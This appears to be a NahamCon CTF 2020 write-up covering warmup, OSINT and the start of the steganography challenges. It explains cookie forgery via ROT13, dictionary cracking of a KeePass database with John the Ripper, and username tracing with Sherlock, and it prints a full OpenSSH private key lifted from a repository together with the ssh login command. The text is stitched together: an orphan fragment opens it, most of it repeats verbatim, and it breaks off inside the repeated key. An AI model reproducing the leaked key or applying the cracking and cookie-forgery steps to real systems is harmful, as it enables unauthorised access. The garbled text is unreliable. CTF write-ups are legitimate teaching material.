**Resources:*** File Inclusion Vulnerabilities: https://www.offensive-security.com/metasploit-unleashed/file-inclusion-vulnerabilities/* HTTP request methods: https://www.w3schools.com/tags/ref_httpmethods.asp* Payload all the things - File Inclusion: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion |
# **NahamCon CTF 2020**
This is my writeup for the challenges in NahamCon CTF, I mainly focused on cryptography, steganography and OSINT.***# Table of Contents
* [Warmup](#warmup) - [Read The Rules](#read-the-rules) - [CLIsay](#clisay) - [Metameme](#metameme) - [Mr.robot](#mr-robot) - [UGGC](#uggc) - [Easy Keesy](#easy-keesy) - [Peter Rabbit](#peter-rabbit) - [Pang](#pang)* [OSINT](#osint) - [Time Keeper](#time-keeper) - [New Years Resolution](#new-years-resolution) - [Finsta](#finsta) - [Tron](#tron)* [Steganography](#steganography) - [Ksteg](#ksteg) - [Doh](#doh) - [Beep Boop](#beep-boop) - [Snowflake](#snowflake) - [My Apologies](#my-apologies) - [Dead Swap](#dead-swap) - [Walkman](#walkman) - [Old School](#old-school)* [Cryptography](#cryptography) - [Docxor](#docxor) - [Homecooked](#homecooked) - [Twinning](#twinning) - [Ooo-la-la](#ooo-la-la) - [Unvreakable Vase](#unvreakable-vase) - [December](#december) - [Raspberry](#raspberry)* [Forensics](#forensics) - [Microsooft](#microsooft) - [Cow Pie](#cow-pie)* [Mobile](#mobile) - [Candroid](#candroid) - [Simple App](#simple-app) - [Ends Meet](#ends-meet)* [Miscellaneous](#miscellaneous) - [Vortex](#vortex) - [Fake file](#fake-file) - [Alkatraz](#alkatraz) - [Trapped](#trapped) - [Awkward](#awkward)* [Scripting](#scripting) - [Dina](#dina) - [Rotten](#rotten) - [Really powerful Gnomes](#really-powerful-gnomes)* [Web](#web) - [Agent 95](#agent-95) - [Localghost](#localghost) - [Phphonebook](#phphonebook)***# Warmup
## Read The RulesPlease follow the rules for this CTF!
Connect here:https://ctf.nahamcon.com/rules
**flag{we_hope_you_enjoy_the_game}**
**Solution:** The flag is commented close to the end of the source code for the rules pages, right after the elements for the prizes:

## CLIsaycowsay is hiding something from us!
Download the file below.
[clisay](assets//files/clisay)
**flag{Y0u_c4n_r3Ad_M1nd5}**
**Solution:** With the challenge we are given an ELF file (a type of Unix executable), by running it we get:

well that didn't give us much, we can check if there are printable strings in the file by using the strings command on it, doing that gives us the flag:

notice that you need to append the two parts of the flag together (the strings after and before the ascii art).
**Resources:*** strings man page: https://linux.die.net/man/1/strings* ELF file: https://en.wikipedia.org/wiki/Executable_and_Linkable_Format
## MetamemeHacker memes. So meta.
Download the file below.
[hackermeme.jpg](assets//images//hackermeme.jpg)
**flag{N0t_7h3_4cTuaL_Cr3At0r}**
**Solution:** With the challenge we get this image:

We can guess by the name of the challenge and its description that there is something in the metadata of the image, so we can use exiftool on it, exiftool allows you to see the metadata of an image, and by using it we get the flag:

**Resources:*** Exif: https://en.wikipedia.org/wiki/Exif* exiftool: https://linux.die.net/man/1/exiftool
## Mr. RobotElliot needs your help. You know what to do.
Connect here:\http://jh2i.com:50032
**flag{welcome_to_robots.txt}**
**Solution:** With the challenge we get a url to a website:

There doesn't seem to be much in the index page, but we can guess by the name of the challenge that there is something in the robots.txt file for the website, robots.txt is a file which helps search engines (crawlers in general) to index the site correctly, in most sites nowadays there is a robots.txt file, if we look at the file ( the link is http://jh2i.com:50032/robots.txt ) we get the flag:

**Resources:*** Introduction to robots.txt: https://support.google.com/webmasters/answer/6062608?hl=en
## UGGCBecome the admin!
Connect here:\http://jh2i.com:50018
**flag{H4cK_aLL_7H3_C0okI3s}**
**Solution:** With the challenge we get a url to a website and it seems that we can login to the it using the index page:

By the description we know that we need to login as admin, but if we try using admin as our username we get the following:

But we can login with any other username:

If we try to refresh the page or open it in another tab it seems that the login is saved, which means that the site is using cookies, because HTTP connection is stateless (doesn't save the state of the connection server-side) and because sometimes the server needs to know who is the user in a session it saves cookies on the computer of the user, cookies are data which is most of the time encrypted and sent with HTTP requests to helps the server recognize the user, we can see the cookies of the site by using the inspector tool in the browser:

we can see that the cookie for the site bares a strange similarity to the username I used, that is because the cookie is encrypted using ceaser cipher, a type of substitution cipher where each letter is replaced by the letter with a specific offset from it, in our case with the offset of 13, so a becomes n, b becomes o and so on, a ceaser cipher with offset of 13 is also called a ROT13 cipher, now that we know the cipher used on the cookie we can change our cookie to being that of the admin, we can use cyberchef to do that:

now we only need to change the value of the cookie to the ciphertext corresponding to admin (we can use the browser inspector tool for that) and we get the flag:

**Resources:*** HTTP cookie: https://en.wikipedia.org/wiki/HTTP_cookie* Ceaser cipher: https://en.wikipedia.org/wiki/Caesar_cipher* Cyberchef: https://gchq.github.io/CyberChef/
## Easy KeesyDang it, not again...
Download the file below.
[easy_keesy](assets//files//easy_keesy)
**flag{jtr_found_the_keys_to_kingdom}**
**Solution:** With the challenge we get a file with an unknown format, we can use the file command to see that the file is a KeePass database:

This type of files are databases used to keep passwords on the computer 'safely', there are many password managers to view this kind of files but I used KeeWeb for this challenge mostly because it is a web tool, if we try to open the file with it we can quickly notice that we don't have the password for doing that, furthermore there aren't any mentions of a password in the file or in the description of the challenge, so it seems we need to bruteforce for the password.\Passwords are commonly saved as hashes, hashes are data created using cryptographic hash functions which are one way functions (easy to find an hash for a password, hard to find a password for the hash) who are also able to return a value with a fixed length to any file with any size, a simple example for an hash function is the algorithm shown in the December challenge with the slight modification that only the last block of the cipher is returned, hashes are great because it is easy to validate a value using them as you can just as hash the value using the hash function and compare the hashes, but, it is hard to get the value from an hash.\In the case of a KeePass database file, the password for the database, which is called a master password, is saved as an hash in the file in order for a password manager to verify it, this is not a smart idea to save the password locally like that but it's good for us.\To find the password I used a dictionary attack, this type of attack uses a known database in order to find the right data, in the case of password cracking we use a database of passwords, preferably ordered by most frequently used to least frequently used, we will hash each password and compare it to the hash we have until we'll find a password with the same one, this does not guarantee that we found the correct password (an hash collision can occur) but most probably it will find the correct one, the dictionary I used is called rockyou.txt which lists common passwords. for executing the attack I used John the Ripper, a great tool for cracking hashes using a dictionary, I first converted the file to something john can use and then used john with rockyou.txt to crack the password by executing the following commands:
```bashkeepass2john easy_keesy > kpjohn --wordlist=/usr/share/wordlists/rockyou.txt -format:keepass kp```by doing that we get that the password for the file is monkeys, if we try using it in KeeWeb we are given access to the database and we get the flag:

**Resources:*** file man page: https://linux.die.net/man/1/file* KeePass: https://en.wikipedia.org/wiki/KeePass* KeeWeb: https://keeweb.info/* rockyou.txt: https://wiki.skullsecurity.org/Passwords* John the Ripper: https://tools.kali.org/password-attacks/john* cryptographic hash function (CHF): https://en.wikipedia.org/wiki/Cryptographic_hash_function
## Peter RabbitLittle Peter Rabbit had a fly upon his nose, and he flipped it and he flapped it and it flew away!
Download the file below.\[peter.png](assets//images//peter.png)
**Post CTF Writeup**
**flag{ohhhpietwastherabbit}**
**Solution:** With the challenge we are given the following PNG image:

this is actually an esoteric programming language called piet, named after the artist Piet Mondrian, we can use an interpreter to execute the script (I linked the one I used in the resources), by doing so we get the flag:

**Resources:*** Piet: https://www.dangermouse.net/esoteric/piet.html* Esoteric Programming Language: https://en.wikipedia.org/wiki/Esoteric_programming_language* Piet online interpreter: https://www.bertnase.de/npiet/npiet-execute.php
## PangThis file does not open!
Download the file below.
[pang](assets//files//pang)
**flag{wham_bam_thank_you_for_the_flag_maam}**
**Solution:** With the challenge we get a unknown file, we can use the file command to see that this is a PNG image, but it seems we can't open the image in an image viewer, so we can guess that the image is corrupted, we can verify that by using a tool called pngcheck:

The tool tells us that there is an CRC error in the IHDR chunk, the IHDR is the first chunk in a PNG image and the CRC value is a value stored for every chunk in the image to verify the authenticity of the data (I explained more about CRC and IHDR in my writeup for the challenges in RACTF 2020 listed in the resources).\We can fix the image by changing value of the CRC, I prefer to do it using an hex viewer so we can have a clear understanding of the data, the changes are marked in red:

and by saving the modified file and viewing it again we get the flag:

**Resources:*** pngcheck man page: https://man.cx/pngcheck(1)* PNG file format specification: http://www.libpng.org/pub/png/spec/1.2/PNG-Contents.html* RACTF 2020 writeup for stego challenges: https://github.com/W3rni0/RACTF_2020#steg--forensics* HxD: https://mh-nexus.de/en/hxd/
***# OSINT
## Time KeeperThere is some interesting stuff on this website. Or at least, I thought there was...
Connect here:\https://apporima.com/
**JCTF{the_wayback_machine}**
**Solution:** We are given a url of a site with the challenge, as the challenge suggests we need to look at older versions of the site, the current version is:

we can use a site called Wayback Machine (linked in resources) to view older versions of sites, it seems that there is only one older version of the site from the 18th of april, and there is a snapshot of the index page:

link to the snapshot:`https://web.archive.org/web/20200418214642/https://apporima.com/`
You can see that the first blog post from the older version can't be found in the current version, furthermore it suggests that the flag is in the web server of the site under /flag.txt, trying to view the file in the current version gives us 404 error, but if we try to view older version of it in the the wayback machine we get the flag:

**Resources:*** Wayback Machine: https://archive.org/web/
## New Years ResolutionThis year, I resolve to not use old and deprecated nameserver technologies!
Connect here: jh2i.com
**flag{next_year_i_wont_use_spf}**
**Solution:** We can infer from the name of the challenge and the description that it has something to do with nameservers, nameserver are servers which handle resolving human-readable identifiers to numberical identifiers, in the case of web server, nameserver handle providing responses to queries on domain names, usually converting urls to IP addresses but not always, we can view this responses using the dig command, in our case we want to view all the type of responses availiable (the more the merrier), we can do this by writing ANY after the command, the full command is:
`dig jh2i.com ANY`
and we have our flag in the output of the command:

**Resources:*** Name server: https://en.wikipedia.org/wiki/Name_server* DNS protocol: https://tools.ietf.org/html/rfc1034* dig man tool: https://linux.die.net/man/1/dig
## Finsta
This time we have a username. Can you track down `NahamConTron`?
**flag{i_feel_like_that_was_too_easy}**
**Solution:** In this challenge we need to track down a username, luckily there is a tool called Sherlock that does just that, it searches popular sites such as GitHub, Twitter, Instagram and etc. for an account with the given username, and returns a list to the profiles, we can run it using the following command:
`python3 sherlock NahamConTron`
and the commands returns the following list of accounts:
```https://www.github.com/NahamConTronhttps://www.instagram.com/NahamConTronhttps://www.liveleak.com/c/NahamConTronhttps://www.meetme.com/NahamConTronhttps://forum.redsun.tf/members/?username=NahamConTronhttps://www.twitter.com/NahamConTronTotal Websites Username Detected On : 6```
by looking at the instegram account we can find our flag at the accout description:

**Resources:*** Sherlock: https://github.com/sherlock-project/sherlock
## Tron
NahamConTron is up to more shenanigans. Find his server.
**flag{nahamcontron_is_on_the_grid}**
**Solution:** Taking a look back at the list Sherlock returned in the previous challenge we can see that there is an account in github with this username, let's take a look at it:

there are 2 repositories for the user:

the second one is not very helpful:

but the first one has some interesting files:

the first file to pop into view is the .bash_history file, it contains the command history of a user and can reveal sensitive information about the user activity, in our case it contains the following line:```bashssh -i config/id_rsa [email protected] -p 50033```so we now know the user has connected to a server using the SSH protocol (Secure Shell protocol) with an SSH private key, and we also know that the key is in a config folder .... interesting, maybe it is the same folder as the one in the repo?

yeah it is!, the private key is:
```-----BEGIN OPENSSH PRIVATE KEY-----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-----END OPENSSH PRIVATE KEY-----```
and we can connect to the server, using the same command, and in the server we find our flag:

***# Steganography
## KstegThis must be a typo.... it was kust one letter away!
Download the file below.
[luke.jpg](assets//images//luke.jpg)
**flag{yeast_bit_steganography_oops_another_typo}**
**Solution:** With the challenge we get the following JPEG image:
This is my writeup for the challenges in NahamCon CTF, I mainly focused on cryptography, steganography and OSINT.***# Table of Contents
* [Warmup](#warmup) - [Read The Rules](#read-the-rules) - [CLIsay](#clisay) - [Metameme](#metameme) - [Mr.robot](#mr-robot) - [UGGC](#uggc) - [Easy Keesy](#easy-keesy) - [Peter Rabbit](#peter-rabbit) - [Pang](#pang)* [OSINT](#osint) - [Time Keeper](#time-keeper) - [New Years Resolution](#new-years-resolution) - [Finsta](#finsta) - [Tron](#tron)* [Steganography](#steganography) - [Ksteg](#ksteg) - [Doh](#doh) - [Beep Boop](#beep-boop) - [Snowflake](#snowflake) - [My Apologies](#my-apologies) - [Dead Swap](#dead-swap) - [Walkman](#walkman) - [Old School](#old-school)* [Cryptography](#cryptography) - [Docxor](#docxor) - [Homecooked](#homecooked) - [Twinning](#twinning) - [Ooo-la-la](#ooo-la-la) - [Unvreakable Vase](#unvreakable-vase) - [December](#december) - [Raspberry](#raspberry)* [Forensics](#forensics) - [Microsooft](#microsooft) - [Cow Pie](#cow-pie)* [Mobile](#mobile) - [Candroid](#candroid) - [Simple App](#simple-app) - [Ends Meet](#ends-meet)* [Miscellaneous](#miscellaneous) - [Vortex](#vortex) - [Fake file](#fake-file) - [Alkatraz](#alkatraz) - [Trapped](#trapped) - [Awkward](#awkward)* [Scripting](#scripting) - [Dina](#dina) - [Rotten](#rotten) - [Really powerful Gnomes](#really-powerful-gnomes)* [Web](#web) - [Agent 95](#agent-95) - [Localghost](#localghost) - [Phphonebook](#phphonebook)***# Warmup
## Read The RulesPlease follow the rules for this CTF!
Connect here:https://ctf.nahamcon.com/rules
**flag{we_hope_you_enjoy_the_game}**
**Solution:** The flag is commented close to the end of the source code for the rules pages, right after the elements for the prizes:

## CLIsaycowsay is hiding something from us!
Download the file below.
[clisay](assets//files/clisay)
**flag{Y0u_c4n_r3Ad_M1nd5}**
**Solution:** With the challenge we are given an ELF file (a type of Unix executable), by running it we get:

well that didn't give us much, we can check if there are printable strings in the file by using the strings command on it, doing that gives us the flag:

notice that you need to append the two parts of the flag together (the strings after and before the ascii art).
**Resources:*** strings man page: https://linux.die.net/man/1/strings* ELF file: https://en.wikipedia.org/wiki/Executable_and_Linkable_Format
## MetamemeHacker memes. So meta.
Download the file below.
[hackermeme.jpg](assets//images//hackermeme.jpg)
**flag{N0t_7h3_4cTuaL_Cr3At0r}**
**Solution:** With the challenge we get this image:

We can guess by the name of the challenge and its description that there is something in the metadata of the image, so we can use exiftool on it, exiftool allows you to see the metadata of an image, and by using it we get the flag:

**Resources:*** Exif: https://en.wikipedia.org/wiki/Exif* exiftool: https://linux.die.net/man/1/exiftool
## Mr. RobotElliot needs your help. You know what to do.
Connect here:\http://jh2i.com:50032
**flag{welcome_to_robots.txt}**
**Solution:** With the challenge we get a url to a website:

There doesn't seem to be much in the index page, but we can guess by the name of the challenge that there is something in the robots.txt file for the website, robots.txt is a file which helps search engines (crawlers in general) to index the site correctly, in most sites nowadays there is a robots.txt file, if we look at the file ( the link is http://jh2i.com:50032/robots.txt ) we get the flag:

**Resources:*** Introduction to robots.txt: https://support.google.com/webmasters/answer/6062608?hl=en
## UGGCBecome the admin!
Connect here:\http://jh2i.com:50018
**flag{H4cK_aLL_7H3_C0okI3s}**
**Solution:** With the challenge we get a url to a website and it seems that we can login to the it using the index page:

By the description we know that we need to login as admin, but if we try using admin as our username we get the following:

But we can login with any other username:

If we try to refresh the page or open it in another tab it seems that the login is saved, which means that the site is using cookies, because HTTP connection is stateless (doesn't save the state of the connection server-side) and because sometimes the server needs to know who is the user in a session it saves cookies on the computer of the user, cookies are data which is most of the time encrypted and sent with HTTP requests to helps the server recognize the user, we can see the cookies of the site by using the inspector tool in the browser:

we can see that the cookie for the site bares a strange similarity to the username I used, that is because the cookie is encrypted using ceaser cipher, a type of substitution cipher where each letter is replaced by the letter with a specific offset from it, in our case with the offset of 13, so a becomes n, b becomes o and so on, a ceaser cipher with offset of 13 is also called a ROT13 cipher, now that we know the cipher used on the cookie we can change our cookie to being that of the admin, we can use cyberchef to do that:

now we only need to change the value of the cookie to the ciphertext corresponding to admin (we can use the browser inspector tool for that) and we get the flag:

**Resources:*** HTTP cookie: https://en.wikipedia.org/wiki/HTTP_cookie* Ceaser cipher: https://en.wikipedia.org/wiki/Caesar_cipher* Cyberchef: https://gchq.github.io/CyberChef/
## Easy KeesyDang it, not again...
Download the file below.
[easy_keesy](assets//files//easy_keesy)
**flag{jtr_found_the_keys_to_kingdom}**
**Solution:** With the challenge we get a file with an unknown format, we can use the file command to see that the file is a KeePass database:

This type of files are databases used to keep passwords on the computer 'safely', there are many password managers to view this kind of files but I used KeeWeb for this challenge mostly because it is a web tool, if we try to open the file with it we can quickly notice that we don't have the password for doing that, furthermore there aren't any mentions of a password in the file or in the description of the challenge, so it seems we need to bruteforce for the password.\Passwords are commonly saved as hashes, hashes are data created using cryptographic hash functions which are one way functions (easy to find an hash for a password, hard to find a password for the hash) who are also able to return a value with a fixed length to any file with any size, a simple example for an hash function is the algorithm shown in the December challenge with the slight modification that only the last block of the cipher is returned, hashes are great because it is easy to validate a value using them as you can just as hash the value using the hash function and compare the hashes, but, it is hard to get the value from an hash.\In the case of a KeePass database file, the password for the database, which is called a master password, is saved as an hash in the file in order for a password manager to verify it, this is not a smart idea to save the password locally like that but it's good for us.\To find the password I used a dictionary attack, this type of attack uses a known database in order to find the right data, in the case of password cracking we use a database of passwords, preferably ordered by most frequently used to least frequently used, we will hash each password and compare it to the hash we have until we'll find a password with the same one, this does not guarantee that we found the correct password (an hash collision can occur) but most probably it will find the correct one, the dictionary I used is called rockyou.txt which lists common passwords. for executing the attack I used John the Ripper, a great tool for cracking hashes using a dictionary, I first converted the file to something john can use and then used john with rockyou.txt to crack the password by executing the following commands:
```bashkeepass2john easy_keesy > kpjohn --wordlist=/usr/share/wordlists/rockyou.txt -format:keepass kp```by doing that we get that the password for the file is monkeys, if we try using it in KeeWeb we are given access to the database and we get the flag:

**Resources:*** file man page: https://linux.die.net/man/1/file* KeePass: https://en.wikipedia.org/wiki/KeePass* KeeWeb: https://keeweb.info/* rockyou.txt: https://wiki.skullsecurity.org/Passwords* John the Ripper: https://tools.kali.org/password-attacks/john* cryptographic hash function (CHF): https://en.wikipedia.org/wiki/Cryptographic_hash_function
## Peter RabbitLittle Peter Rabbit had a fly upon his nose, and he flipped it and he flapped it and it flew away!
Download the file below.\[peter.png](assets//images//peter.png)
**Post CTF Writeup**
**flag{ohhhpietwastherabbit}**
**Solution:** With the challenge we are given the following PNG image:

this is actually an esoteric programming language called piet, named after the artist Piet Mondrian, we can use an interpreter to execute the script (I linked the one I used in the resources), by doing so we get the flag:

**Resources:*** Piet: https://www.dangermouse.net/esoteric/piet.html* Esoteric Programming Language: https://en.wikipedia.org/wiki/Esoteric_programming_language* Piet online interpreter: https://www.bertnase.de/npiet/npiet-execute.php
## PangThis file does not open!
Download the file below.
[pang](assets//files//pang)
**flag{wham_bam_thank_you_for_the_flag_maam}**
**Solution:** With the challenge we get a unknown file, we can use the file command to see that this is a PNG image, but it seems we can't open the image in an image viewer, so we can guess that the image is corrupted, we can verify that by using a tool called pngcheck:

The tool tells us that there is an CRC error in the IHDR chunk, the IHDR is the first chunk in a PNG image and the CRC value is a value stored for every chunk in the image to verify the authenticity of the data (I explained more about CRC and IHDR in my writeup for the challenges in RACTF 2020 listed in the resources).\We can fix the image by changing value of the CRC, I prefer to do it using an hex viewer so we can have a clear understanding of the data, the changes are marked in red:

and by saving the modified file and viewing it again we get the flag:

**Resources:*** pngcheck man page: https://man.cx/pngcheck(1)* PNG file format specification: http://www.libpng.org/pub/png/spec/1.2/PNG-Contents.html* RACTF 2020 writeup for stego challenges: https://github.com/W3rni0/RACTF_2020#steg--forensics* HxD: https://mh-nexus.de/en/hxd/
***# OSINT
## Time KeeperThere is some interesting stuff on this website. Or at least, I thought there was...
Connect here:\https://apporima.com/
**JCTF{the_wayback_machine}**
**Solution:** We are given a url of a site with the challenge, as the challenge suggests we need to look at older versions of the site, the current version is:

we can use a site called Wayback Machine (linked in resources) to view older versions of sites, it seems that there is only one older version of the site from the 18th of april, and there is a snapshot of the index page:

link to the snapshot:`https://web.archive.org/web/20200418214642/https://apporima.com/`
You can see that the first blog post from the older version can't be found in the current version, furthermore it suggests that the flag is in the web server of the site under /flag.txt, trying to view the file in the current version gives us 404 error, but if we try to view older version of it in the the wayback machine we get the flag:

**Resources:*** Wayback Machine: https://archive.org/web/
## New Years ResolutionThis year, I resolve to not use old and deprecated nameserver technologies!
Connect here: jh2i.com
**flag{next_year_i_wont_use_spf}**
**Solution:** We can infer from the name of the challenge and the description that it has something to do with nameservers, nameserver are servers which handle resolving human-readable identifiers to numberical identifiers, in the case of web server, nameserver handle providing responses to queries on domain names, usually converting urls to IP addresses but not always, we can view this responses using the dig command, in our case we want to view all the type of responses availiable (the more the merrier), we can do this by writing ANY after the command, the full command is:
`dig jh2i.com ANY`
and we have our flag in the output of the command:

**Resources:*** Name server: https://en.wikipedia.org/wiki/Name_server* DNS protocol: https://tools.ietf.org/html/rfc1034* dig man tool: https://linux.die.net/man/1/dig
## Finsta
This time we have a username. Can you track down `NahamConTron`?
**flag{i_feel_like_that_was_too_easy}**
**Solution:** In this challenge we need to track down a username, luckily there is a tool called Sherlock that does just that, it searches popular sites such as GitHub, Twitter, Instagram and etc. for an account with the given username, and returns a list to the profiles, we can run it using the following command:
`python3 sherlock NahamConTron`
and the commands returns the following list of accounts:
```https://www.github.com/NahamConTronhttps://www.instagram.com/NahamConTronhttps://www.liveleak.com/c/NahamConTronhttps://www.meetme.com/NahamConTronhttps://forum.redsun.tf/members/?username=NahamConTronhttps://www.twitter.com/NahamConTronTotal Websites Username Detected On : 6```
by looking at the instegram account we can find our flag at the accout description:

**Resources:*** Sherlock: https://github.com/sherlock-project/sherlock
## Tron
NahamConTron is up to more shenanigans. Find his server.
**flag{nahamcontron_is_on_the_grid}**
**Solution:** Taking a look back at the list Sherlock returned in the previous challenge we can see that there is an account in github with this username, let's take a look at it:

there are 2 repositories for the user:

the second one is not very helpful:

but the first one has some interesting files:

the first file to pop into view is the .bash_history file, it contains the command history of a user and can reveal sensitive information about the user activity, in our case it contains the following line:```bashssh -i config/id_rsa [email protected] -p 50033```so we now know the user has connected to a server using the SSH protocol (Secure Shell protocol) with an SSH private key, and we also know that the key is in a config folder .... interesting, maybe it is the same folder as the one in the repo?

yeah it is!, the private key is:
```-----BEGIN OPENSSH PRIVATE KEY-----b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcnNhAAAAAwEAAQAAAYEAxHTNmVG6NLapytFkSDvLytH6aiE5GJRgkCV3mdxr3vLv+jSVs/73WtCDuHLn56nTrQK4q5EL0hxPLN68ftJmIoUdSvv2xbd8Jq/mw69lnTmqbJSK0gc6MTghMm3m3FvOoc/Unap6y5CkeqtY844yHsgeXqjVgOaUDsUqMjFAP+SIoQ+3o3aZEweUT4WarHG9a487W1vxIXz7SZW6TsRPsROWGh3KTWE01zYkHMeO0vHcVBKXVOX+j6+VkydkXnwgc1k6BXUTh9MOHxAxMK1nV6uC6JQijmUdW9q9YpMF/1VJRVwmzfdZTMTdrGFa7jJl+TxTAiViiBSno+IAWdB0Bo5QEoWy+/zzBlpBE9IdBldpH7gj7aKV6ORsD2pJHhbenszS+jp8g8bg8xCwKmJm8xNRN5wbdCJXAga5M5ujdXJgihnWtVlodRaZS2ukE+6NWcPx6JdKUpFodLtwO8bBaPFvmjW9J7hW44TEjcfU2fNNZweL3h+/02TxqxHqRcP/AAAFgNfG1XLXxtVyAAAAB3NzaC1yc2EAAAGBAMR0zZlRujS2qcrRZEg7y8rR+mohORiUYJAld5nca97y7/o0lbP+91rQg7hy5+ep060CuKuRC9IcTyzevH7SZiKFHUr79sW3fCav5sOvZZ05qmyUitIHOjE4ITJt5txbzqHP1J2qesuQpHqrWPOOMh7IHl6o1YDmlA7FKjIxQD/kiKEPt6N2mRMHlE+FmqxxvWuPO1tb8SF8+0mVuk7ET7ETlhodyk1hNNc2JBzHjtLx3FQSl1Tl/o+vlZMnZF58IHNZOgV1E4fTDh8QMTCtZ1erguiUIo5lHVvavWKTBf9VSUVcJs33WUzE3axhWu4yZfk8UwIlYogUp6PiAFnQdAaOUBKFsvv88wZaQRPSHQZXaR+4I+2ilejkbA9qSR4W3p7M0vo6fIPG4PMQsCpiZvMTUTecG3QiVwIGuTObo3VyYIoZ1rVZaHUWmUtrpBPujVnD8eiXSlKRaHS7cDvGwWjxb5o1vSe4VuOExI3H1NnzTWcHi94fv9Nk8asR6kXD/wAAAAMBAAEAAAGANjG+keAAzQ/i0QdocaDFPEMmoGZf2M79wGYFk1VCELPVzaD59ziLxeqlm5lfLgIkWaLZjMKrjx+uG8OqHhYuhLFR/mB5l9thDU8TCsJ09qV0xRVJIl1KCU/hoIa+2+UboHmzvnbL/yH8rbZdCHseim1MK3LJyxBQoa50UHpTrgx+QGgUkaxi1+QMXs+Ndqq9xVEy36YCY+mVbJw4VAhFr6SmkLfNGgGJ0SCnX6URWlHMJQkn5Ay6Z6rZSUnhn0sAMNhgBzFGhY3VhpeP5jPYBIbtJUgZ51vDlCQoCBYqXQXOCuLQMBEfy1uKW+aH0e0Gh07NZyy5AyxHWEtq/zWUJpDrXsmdqbyOW/WX/lAusGkSNj1TPGRcqUl14CPJugXgMWWuUuQoRChtKFObCCl7CpjdUdvbKyWDy+Uie/xGZ+dOrU/u4WrwZkkqGKvA6gSAd6v/RxAdVhaL0xjnPXCgM8e4p9B7EuW3Jy9d15eaGtNp9fpY+SpH4KbHoRom9tXxAAAAwC2p2qsvXEbiriXaX0WdGa6OYcbr9z5DnG6Kkpwf3K0fb4sm3qvcCrt7owHwiSB1Uy1hnghLUmUlEgMvVzO0gi/YFCatryIe